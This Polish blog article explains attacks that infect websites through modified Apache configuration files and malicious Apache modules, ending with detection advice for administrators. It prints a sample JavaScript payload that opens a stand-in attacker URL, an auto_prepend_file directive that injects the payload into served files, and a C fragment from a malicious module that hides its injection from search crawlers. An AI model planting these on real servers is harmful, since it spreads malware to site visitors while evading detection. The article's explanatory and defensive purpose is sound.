Ataki na serwisy internetowe z użyciem plików konfiguracyjnych i wykonywalnych serwera Apache

Wstęp

Jak wynika z badań amerykańskiej firmy Sucuri zajmującej się monitorowaniem bezpieczeństwa serwisów internetowych, w ostatnim czasie zauważalnie wzrasta liczba ataków na strony www przez zainfekowane moduły serwera Apache oraz zmodyfikowane pliki konfiguracyjne. Są to dość wyrafinowane metody, z reguły trudne do wykrycia i dające spore możliwości atakującemu. Jak w praktyce wyglądają takie ataki?

Postaram się zaprezentować to w dalszej części artykułu.

Nowe wektory ataków

Od wielu lat głównym nośnikiem niebezpiecznego kodu w postaci malware były zainfekowane strony www. Złośliwy kod osadzano w treści strony z reguły na skutek udanego wykorzystania luk w rodzaju Stored XSS czy SQL Injection.

Jednak w ostatnim czasie pojawiły się dwa nowe źródła infekcji:

• pliki konfiguracyjne serwera Apache oraz
• jego binaria (w postaci ładowanych dynamicznie modułów).

W celu dokonania takiego ataku z reguły konieczne staje się wcześniejsze uzyskanie przez agresora dostępu do serwera na prawach użytkownika root (w prawidłowo skonfigurowanym systemie nikt poza rootem nie powinien mieć możliwości zmiany zawartości plików konfiguracyjnych serwera www), więc jest to wieloetapowy i dość zaawansowany typ ataku. Z drugiej strony, daje on dużo większe możliwości rozpowszechniania złośliwego kodu oraz ukrycia takich działań przed zbyt wczesnym wykryciem.

Sam sposób uzyskania dostępu do maszyny, na której znajduje się serwer www, oraz zdobycie uprawnień użytkownika 'root’ to bardzo obszerny temat, wykraczający poza ramy tego wpisu (zainteresowanych zachęcam do odwiedzenia serwisu Packet Storm Security, Secunia oraz Exploit Database).

1. Atak z wykorzystaniem plików konfiguracyjnych serwera Apache

Przyjrzyjmy się pierwszemu z rozpatrywanych przypadków. Do przeprowadzenia tego rodzaju ataku potrzebne są dwa elementy:

• plik z tzw. 'payloadem’, czyli odpowiednio spreparowaną zawartością będącą „nośnikiem” dla złośliwego kodu, oraz
• odpowiednio skonfigurowany serwer www, który zapewni dystrybucję tego kodu.

Pierwszy element może wyglądać tak, jak na zamieszczonym poniżej listingu (jest to maksymalnie uproszczony przykład, mający na celu zaprezentowanie jedynie schematu tworzenia takich plików):

<?php
//znaczniki PHP są konieczne, by plik był prawidłowo zinterpretowany przez serwer
?>
document.write('<script>var url = "http://badguysite.com/something"; window.open(url); </script>');
<?php
// koniec pliku PHP
?>

Spreparowany odpowiednio kod JavaScript, inicjujący ładowanie malware.

Odpowiedni wpis we właściwym pliku konfiguracyjnym serwera Apache (apache2.conf, httpd.conf, .htaccess bezpośrednio w drzewie katalogów serwisu internetowego), to drugi element układanki – powinna się w nim znaleźć dyrektywa dołączająca złośliwy kod do każdego pliku PHP, przetwarzanego i zwracanego przez serwer:

(...)

<files ~ "\.js$">
SetHandler application/x-httpd-php
php_value auto_prepend_file [ ścieżka_do_pliku_z_payloadem_z_poprzedniego_punktu ]
php_flag display_errors Off
</files>

(...)

Fragment wpisu odpowiedzialnego za automatyczne dołączanie wskazanego pliku do każdego przetwarzanego przez serwer skryptu PHP.

Efektem takiego działania będzie automatyczne dołączenie (dyrektywa PHP auto_prepend_file) pliku z kodem ładującym malware (lub wykonującym dowolną inną szkodliwą działalność na komputerze odwiedzającego zainfekowaną w ten sposób witrynę) do każdego pliku PHP, jaki będzie wysyłany przez serwer. Działanie auto_prepend_file jest analogiczne do działania dyrektywy require() lub include() z tą różnicą, że wykonywane jest z poziomu serwera, a nie kodu napisanego przez programistę.

2. Atak z wykorzystaniem modułów serwera Apache

Drugi rodzaj ataku wykorzystuje podobny mechanizm, ale tutaj „nośnikiem” informacji o złośliwym kodzie jest odpowiednio spreparowany moduł serwera Apache – skompilowany i uruchamiany wraz z innymi poprzez odpowiedni wpis w pliku konfiguracyjnym (httpd.conf, apache2.conf):

(...)

LoadModule pool_mem_module /lib64/libwutfa.so.2

(...)

Wpis z przykładową bliblioteką będącą złośliwym modułem serwera Apache.

Nazwy modułów mogą być różne, na pierwszy rzut oka nie wzbudzają one żadnych podejrzeń – ot, kolejna skompilowana biblioteka .so. Z pozoru niegroźny moduł ma jednak nieograniczone możliwości. Specjaliści z Sucuri analizowali przypadek, w którym infekcja dokonywana była tylko w ściśle określonych przypadkach (na podstawie systemu operacyjnego i przeglądarki, z której inicjowane było żądanie HTTP złośliwy moduł decydował, czy serwer www ma dołączyć do zwracanej odpowiedzi złośliwy kod). Z perspektywy odwiedzających tak zainfekowaną stronę nawet analiza źródła HTML mogła niczego nie wykazać – wystarczyło, że wejście dokonane zostało z innej, niż docelowa, przeglądarki i kod był pozbawiony niebezpiecznego dodatku.

Pod tym adresem został zamieszczony kod źródłowy przykładowego złośliwego modułu. Poniżej znajduje się fragment, w którym można przeanalizować funkcję sprawdzającą, czy żądanie wyświetlenia zasobu nie pochodzi od któregoś z robotów indeksujących. W takim przypadku moduł nie dopuszcza do dołączenia złośliwego kodu JavaScript, by nie zdradzić swojej obecności silnikom wyszukiwarek (jak wiemy, dysponują one mechanizmami zgłaszania użytkownikom fakt odwiedzenia zainfekowanych stron www):

(...)

int dl_check_BotUserAgent(ap_filter_t *f)
{	
	<strong>const char* ban_useragent[] = { "GOOGLEBOT", "SLURP", "YAHOO", "LINUX", "MACINTOSH", 
		"MAC OS", "IPHONE", "PLAYSTATION", "OPERA MINI", "NINTENDO", "YANDEX", "CRAWLER", 
		"ROBOT", "WORDPRESS", "VBSEO", "BAIDUSPIDER", "FOLLOWSITE", "SOGOU", "NHN", 
		"WGET", "MSNBOT", "YOUDAO", "STACKRAMBLER", "LWP::SIMPLE", "QIHOOBOT", 
		"SOSOSPIDER", "BRUTUS", "HTTPCLIENT", "CURL", "PHP", "INDY LIBRARY" };</strong>
	char* useragent = (char*) apr_table_get(f->r->headers_in, "User-Agent");
	#ifdef DEBUG
		FILE* debug_f; debug_f = fopen(DEBUG, "a"); 
		fprintf(debug_f, "%s Begin check User-Agent: %s\r\n", dl_ClientIP(f), useragent); 
		fclose(debug_f);
	#endif			

	if (!useragent)
		return 0;
	int i, j, k;
	int len_ua = strlen(useragent);
	for (i = 0; i < sizeof(ban_useragent)/sizeof(char*); i++)
	{
		int len_ban = strlen(ban_useragent[i]);
		for (j = 0; j < len_ua - len_ban; j++)
		{
			int match = 1;
			for (k = 0; k < len_ban; k++)
			{
				if (toupper(useragent[j+k]) != ban_useragent[i][k])
				{
					match = 0;
					break;
				}
			}<strong>
			if (match == 1)
			{
				#ifdef DEBUG
					debug_f = fopen(DEBUG, "a"); 
					fprintf(debug_f, "%s Bot User-Agent detected: %s\r\n", 
						dl_ClientIP(f), ban_useragent[i]); 
					fclose(debug_f);
				#endif			

				return 0;
			}</strong>
		}
	}
	#ifdef DEBUG
		debug_f = fopen(DEBUG, "a"); 
		fprintf(debug_f, "%s End check User-Agent OK\r\n", dl_ClientIP(f)); 
		fclose(debug_f);
	#endif				
	return 1;
}

(...)

Fragment kodu źródłowego w języku C przykładowego złośliwego modułu serwera Apache; kompletny listing dostępny pod tym adresem.

Na zakończenie

Jeśli jesteś administratorem serwera www, warto poświęcić chwilę na analizę zawartości plików konfiguracyjnych pod kątem dziwnych i nieznanych wpisów. Analiza logów niewiele tutaj pomoże – tego rodzaju atak nie jest przeprowadzany „z zewnątrz”, stąd też rejestrowanie w logach żądań GET czy POST przychodzących do serwera nie wykaże niczego podejrzanego i dającego się jednoznacznie zidentyfikować np. jako atak SQL Injection (np. ciągi 'UNION SELECT’ w treści żądania) czy specyficzne, JavaScript-owe payloady wskazujące na próby znalezienia podatności XSS. Atak dokonywany jest niejako „od środka”, niebezpieczny kod doklejany jest już na etapie interpretowania kodu PHP.

Przykładową procedurę wyszukania i usunięcia szkodliwego modułu Apache na serwerze pracującym pod kontrolą systemu Debian można znaleźć na blogu firmy Sucuri pod adresem Web Server Compromise – Debian Distro – Identify and Remove Corrupt Apache Modules.

Jeśli jako webmaster bądź użytkownik chcesz sprawdzić, czy Twoja strona hostowana na zewnętrznym serwerze nie zawiera złośliwego kodu, polecam odwiedziny na unmaskparasites.com, gdzie wystarczy wpisać adres www naszej witryny, a następnie cierpliwie poczekać na wynik audytu.

Ten dostępny pod tym adresem wskazuje, że możesz bez obaw przebywać na Sekuraku. :)

Źródła

• „Apache Binary Backdoors on Cpanel-based servers”
• „Server Compromises – Understanding Apache Module iFrame Injections and Secure Shell Backdoor”
• „Malicious Apache Module Injects Iframes”

Rafał 'bl4de’ Janicki– bloorq[at]gmail.com